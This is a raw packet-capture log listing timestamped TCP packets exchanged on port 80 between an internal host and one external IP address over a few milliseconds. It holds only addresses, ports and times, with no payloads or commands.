Jun 4, 2024 23:09:13.013314962 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013320923 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013350010 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013370037 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013392925 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013397932 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013407946 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013427973 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013433933 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013463974 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013478994 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013483047 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013501883 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013505936 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013520002 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013523102 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013540030 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013541937 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013556957 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013571978 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013577938 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013597965 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013607979 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013634920 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013653994 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013672113 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013676882 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013676882 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013693094 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013710976 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013727903 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013736963 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013753891 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013771057 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013793945 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013803959 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013813972 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013832092 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013854027 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013873100 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013885021 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013890982 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013911009 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013917923 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013928890 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013935089 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013946056 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013962984 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.013963938 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013979912 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.013986111 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014003992 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014008999 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014039040 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014041901 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014080048 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014081001 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014101982 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014117956 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014153957 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014162064 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014174938 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014177084 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014194012 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014203072 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014211893 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014221907 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014240026 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014254093 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014292955 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014298916 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014312983 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014329910 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014349937 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014367104 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014384031 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014384985 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014384031 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014384031 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014415026 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014436960 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014446974 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014446974 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014455080 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014462948 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014473915 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014480114 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014493942 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014498949 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014518976 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014534950 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014585018 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014625072 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014635086 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014643908 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014662027 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014693022 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014847994 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014867067 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014911890 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014919996 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014930964 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014950037 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014950037 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014976025 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.014983892 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.014995098 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015001059 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015012980 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015017986 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015033007 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015036106 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015053988 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015053988 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015074015 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015080929 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015093088 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015109062 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015141964 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015211105 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015230894 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015264988 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015284061 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015284061 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015302896 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015316010 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015321016 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015341043 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015361071 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015368938 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015381098 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015394926 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015398979 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015419006 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015419006 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015438080 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015455008 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015470028 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015475988 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015494108 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015502930 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015513897 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015528917 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015535116 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015552998 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015553951 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015577078 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015580893 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015595913 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015613079 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015619040 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015645981 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015670061 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015675068 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015688896 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015732050 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015741110 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015760899 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015794992 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015800953 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015827894 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015835047 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015853882 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015873909 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015883923 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015887976 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015899897 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015906096 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015918970 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015925884 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015944004 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015953064 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.015961885 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015981913 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.015983105 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016004086 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016021967 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016024113 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016050100 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016052961 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016089916 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016110897 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016117096 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016128063 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016145945 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016148090 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016165972 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016175985 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016182899 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016201019 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016202927 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016221046 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016233921 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016242027 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016259909 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016277075 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016294956 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016313076 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016331911 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016364098 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016387939 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016408920 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016431093 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016438961 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016449928 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016468048 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016468048 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016491890 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016504049 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016525984 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016561031 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016568899 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016578913 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016592979 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016597033 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016616106 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016619921 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016633987 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016635895 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016653061 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016673088 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016693115 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016701937 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016716003 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016732931 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016736984 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016751051 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016752958 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016768932 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016782999 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016793966 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016807079 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016808033 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016824007 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016843081 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016846895 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016864061 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016866922 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016906977 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016944885 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016968966 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.016982079 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.016993999 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017000914 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017024994 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017045975 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017055035 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017085075 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017086983 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017106056 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017139912 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017155886 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017159939 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017178059 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017185926 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017195940 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017213106 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017225981 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017249107 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017256021 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017266035 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017286062 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017287970 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017303944 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017313004 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017343044 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017349958 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017369032 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017370939 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017389059 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017391920 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017416954 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017426968 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017436981 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017453909 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017456055 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017474890 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017479897 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017493010 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017514944 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017533064 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017775059 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017793894 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017828941 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017847061 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.017848015 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.017880917 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.018111944 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.018167973 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.018171072 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.018196106 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.018225908 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.018244028 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.019810915 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.019932032 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.019952059 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.019972086 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.019989967 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.020009041 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.020014048 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.020014048 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.020014048 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.020029068 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.020035982 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.020056009 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.020113945 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.022548914 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022567987 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022603035 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022620916 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022627115 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.022665977 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.022685051 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022703886 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022738934 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022753954 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.022757053 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022779942 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.022804022 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022810936 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.022823095 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022838116 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.022864103 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022864103 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.022907019 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022942066 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022953987 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.022959948 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022979021 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.022984028 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.023014069 CEST	80	49712	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:13.023020983 CEST	49712	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:13.023034096 CEST	80	49712	77.91.77.81	192.168.2.11
